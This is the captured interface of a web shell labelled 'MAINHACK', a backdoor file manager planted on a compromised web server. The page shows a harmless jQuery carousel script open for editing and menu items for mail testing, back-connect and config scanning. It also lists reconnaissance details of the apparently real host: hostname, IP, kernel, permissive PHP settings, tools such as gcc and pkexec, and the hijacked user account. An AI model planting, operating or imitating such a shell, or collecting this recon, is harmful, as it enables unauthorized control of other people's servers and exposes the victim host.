[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: owl-carousel.js
(function($) { "use strict"; $(document).ready(function () { loadOwlCarousel(); }); function loadOwlCarousel(){ $('.owl-carousel').each(function() { var _this = $(this); var data = { navText : ['<i class="zmdi zmdi-chevron-left"></i></i>','<i class="zmdi zmdi-chevron-right"></i>'], responsive:{ 0:{ items:parseInt($(this).attr('data-item-xs')), }, 576:{ items:parseInt($(this).attr('data-item-sm')), }, 768:{ items:parseInt($(this).attr('data-item-md')), }, 992:{ items:parseInt($(this).attr('data-item-lg')), }, 1200:{ items:parseInt($(this).attr('data-item-xl')), stagePadding :parseInt($(this).attr('data-stagepadding')), }, 1400:{ items:parseInt($(this).attr('data-item-xxl')), }, } }; if(typeof _this.attr('data-loop') !== 'undefined') { data.loop = _this.attr('data-loop') == 'true' ? true : false; } if(typeof _this.attr('data-autoplay') !== 'undefined') { data.autoplay = _this.attr('data-autoplay') == 'true' ? true : false; } if(typeof _this.attr('data-bullets') !== 'undefined') { data.dots = _this.attr('data-bullets') == 'true' ? true : false; } if(typeof _this.attr('data-dotscontainer') !== 'undefined') { data.dotsContainer = _this.attr('data-dotscontainer') == 'true' ? _this.parent().find('.slider-nav .thumbs') : ''; } if(typeof _this.attr('data-center') !== 'undefined') { data.center = _this.attr('data-center') == 'true' ? true : false; } if(typeof _this.attr('data-arrows') !== 'undefined') { data.nav = _this.attr('data-arrows') == 'true' ? true : false; } if(typeof _this.attr('data-rtl') !== 'undefined') { data.rtl = _this.attr('data-rtl') == 'true' ? true : false; } if(typeof _this.attr('data-margin') !== 'undefined') { data.margin = parseInt(_this.attr('data-margin')); } if(typeof _this.attr('data-autoplaytimeout') !== 'undefined') { data.autoplayTimeout = parseInt(_this.attr('data-autoplaytimeout')); } if(typeof _this.attr('data-smartspeed') !== 'undefined') { data.smartSpeed = parseInt(_this.attr('data-smartspeed')); } var owl = _this.owlCarousel(data); var owlAnimateFilter = function(even) { $(this) .addClass('item-loading') .delay(70 * $(this).parent().index()) .queue(function() { $(this).dequeue().removeClass('item-loading'); }); }; _this.parent().find('.ct-carousel-filter').on('click', '.ct-filter-item', function(e) { var filter_data = $(this).attr('data-filter'); if($(this).hasClass('ct-filter-active')) return; $(this).addClass('ct-filter-active').siblings().removeClass('ct-filter-active'); owl.owlFilter(filter_data, function(_owl) { $(_owl).find('.ct-item').each(owlAnimateFilter); }); }); }); } }(jQuery));
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.74 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002